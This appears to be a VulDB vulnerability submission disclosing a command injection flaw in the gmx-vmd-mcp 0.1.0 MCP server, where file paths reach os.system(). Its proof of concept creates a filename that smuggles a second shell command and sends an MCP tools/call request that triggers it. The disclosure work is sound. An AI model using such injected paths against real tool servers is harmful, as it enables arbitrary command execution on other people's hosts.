| Title | egtai gmx-vmd-mcp 0.1.0 Command Injection |
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| Description | The MCP tool named 启动VMD图形界面 accepts caller-controlled structure_file and trajectory_file paths, converts them to absolute paths, interpolates them into a shell command string, and executes that string with os.system(). A path containing shell metacharacters therefore changes command structure and leads to arbitrary host command execution.
This PoC uses a real crafted filename that passes the repository's own existence check.
Prepare files on the host:
touch '/tmp/legit.xtc'
touch '/tmp/poc.gro;touch egtai_cmdi;#'
Invoke the MCP tool:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "启动VMD图形界面",
"arguments": {
"structure_file": "/tmp/poc.gro;touch egtai_cmdi;#",
"trajectory_file": "/tmp/legit.xtc"
}
}
}
|
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| Source | ⚠️ https://github.com/egtai/gmx-vmd-mcp/issues/2 |
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| User | SmallW (UID 97245) |
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| Submission | 04/10/2026 15:09 (3 months ago) |
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| Moderation | 04/27/2026 17:18 (17 days later) |
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| Status | Accepted |
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| VulDB entry | 359815 [egtai gmx-vmd-mcp up to 0.1.0 VMD Launch mcp_server.py launch_vmd_gui_tool structure_file/trajectory_file command injection] |
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| Points | 20 |
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